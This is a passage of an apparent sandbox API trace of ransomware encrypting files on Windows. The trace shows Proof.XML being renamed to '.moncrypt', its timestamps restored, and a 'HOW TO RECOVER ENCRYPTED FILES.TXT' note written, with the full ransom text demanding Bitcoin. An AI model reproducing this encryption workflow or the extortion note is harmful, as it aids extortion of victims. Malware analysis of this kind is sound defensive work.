GetLastError () returned 0x2 [0048.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@册U企@\x18翌R\x18j")) returned 0xffffffff [0048.610] GetLastError () returned 0x2 [0048.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@⨴R企@\x18?T\x18q")) returned 0xffffffff [0048.610] GetLastError () returned 0x2 [0048.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@坜U企@\x18?T\x18y")) returned 0xffffffff [0048.610] GetLastError () returned 0x2 [0048.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@册U企@\x18?T\x18\x81")) returned 0xffffffff [0048.610] GetLastError () returned 0x2 [0048.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@蠌T企@\x18?T\x18\x88")) returned 0xffffffff [0048.610] GetLastError () returned 0x2 [0048.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@坜U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.611] GetLastError () returned 0x2 [0048.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b50, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@册U企@\x18?T\x18\x97")) returned 0xffffffff [0048.611] GetLastError () returned 0x2 [0048.611] GlobalLock (hMem=0x440004) returned 0x555968 [0048.611] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.611] GlobalUnlock (hMem=0x440004) returned 0 [0048.611] GlobalLock (hMem=0x440004) returned 0x555968 [0048.611] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.611] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.611] GlobalUnlock (hMem=0x440004) returned 0 [0048.611] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.611] GlobalUnlock (hMem=0x44000c) returned 0 [0048.611] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.611] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.611] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.611] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69bb8, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.611] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.612] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.612] GlobalUnlock (hMem=0x44000c) returned 0 [0048.612] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.612] GlobalLock (hMem=0x440004) returned 0x557978 [0048.612] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.612] GlobalUnlock (hMem=0x44000c) returned 0 [0048.612] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.612] GlobalUnlock (hMem=0x440004) returned 0 [0048.612] GlobalLock (hMem=0x440004) returned 0x555968 [0048.612] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.612] GlobalUnlock (hMem=0x440004) returned 0 [0048.612] GlobalLock (hMem=0x440004) returned 0x555968 [0048.612] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.612] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.612] GlobalUnlock (hMem=0x440004) returned 0 [0048.612] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.612] GlobalUnlock (hMem=0x44000c) returned 0 [0048.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.612] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.612] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0048.612] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.612] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.612] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.612] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.612] GlobalUnlock (hMem=0x44000c) returned 0 [0048.613] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.613] GlobalLock (hMem=0x440004) returned 0x557978 [0048.613] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.613] GlobalUnlock (hMem=0x44000c) returned 0 [0048.613] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.613] GlobalUnlock (hMem=0x440004) returned 0 [0048.613] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.613] WriteFile (in: hFile=0x190, lpBuffer=0x1e61da8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61da8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.614] CloseHandle (hObject=0x190) returned 1 [0048.614] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\я")) returned 1 [0048.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0x54e280 [0048.615] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.615] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.615] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", dwFileAttributes=0x20) returned 1 [0048.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.moncrypt")) returned 1 [0048.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.617] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.617] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x5b2 [0048.617] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.617] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x5b2, lpOverlapped=0x0) returned 1 [0048.618] GlobalLock (hMem=0x440004) returned 0x555968 [0048.618] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.618] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.618] GlobalUnlock (hMem=0x440004) returned 0 [0048.619] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.619] GlobalUnlock (hMem=0x44000c) returned 0 [0048.619] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.619] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.619] GlobalUnlock (hMem=0x44000c) returned 0 [0048.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.630] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.630] CloseHandle (hObject=0x190) returned 1 [0048.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.631] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.631] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.631] GlobalUnlock (hMem=0x44000c) returned 0 [0048.631] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.631] GlobalLock (hMem=0x440004) returned 0x557978 [0048.631] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.631] GlobalUnlock (hMem=0x44000c) returned 0 [0048.631] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.631] GlobalUnlock (hMem=0x440004) returned 0 [0048.631] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557978, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69b68, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.631] GetLastError () returned 0x2 [0048.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.632] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.633] CloseHandle (hObject=0x190) returned 1 [0048.633] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0048.633] GetLastError () returned 0x12 [0048.633] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.633] GlobalLock (hMem=0x440004) returned 0x555968 [0048.633] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.633] GlobalUnlock (hMem=0x440004) returned 0 [0048.633] GlobalLock (hMem=0x440004) returned 0x555968 [0048.633] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.633] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.633] GlobalUnlock (hMem=0x440004) returned 0 [0048.633] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.633] GlobalUnlock (hMem=0x44000c) returned 0 [0048.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e456420, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e456420, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.634] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.634] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.634] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.634] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.634] GlobalUnlock (hMem=0x44000c) returned 0 [0048.634] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.634] GlobalLock (hMem=0x440004) returned 0x557978 [0048.634] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.634] GlobalUnlock (hMem=0x44000c) returned 0 [0048.634] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.634] GlobalUnlock (hMem=0x440004) returned 0 [0048.634] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.634] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e456420, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e456420, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.634] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.634] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.634] GlobalLock (hMem=0x440004) returned 0x555968 [0048.634] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.634] GlobalUnlock (hMem=0x440004) returned 0 [0048.634] GlobalLock (hMem=0x440004) returned 0x555968 [0048.634] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.634] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.634] GlobalUnlock (hMem=0x440004) returned 0 [0048.634] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.634] GlobalUnlock (hMem=0x44000c) returned 0 [0048.634] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.634] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e456420, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e456420, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e456420, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.634] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.634] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.635] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.635] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.635] GlobalUnlock (hMem=0x44000c) returned 0 [0048.635] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.635] GlobalLock (hMem=0x440004) returned 0x557978 [0048.635] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.635] GlobalUnlock (hMem=0x44000c) returned 0 [0048.635] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.635] GlobalUnlock (hMem=0x440004) returned 0 [0048.635] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.635] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x675, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML.moncrypt", cAlternateFileName="PROOFX~1.MON")) returned 1 [0048.635] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.635] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.635] GlobalLock (hMem=0x440004) returned 0x555968 [0048.635] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.635] GlobalUnlock (hMem=0x440004) returned 0 [0048.635] GlobalLock (hMem=0x440004) returned 0x555968 [0048.635] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.635] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.635] GlobalUnlock (hMem=0x440004) returned 0 [0048.635] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.635] GlobalUnlock (hMem=0x44000c) returned 0 [0048.635] OpenMutexA (dwDesiredAccess=0x1f0001, 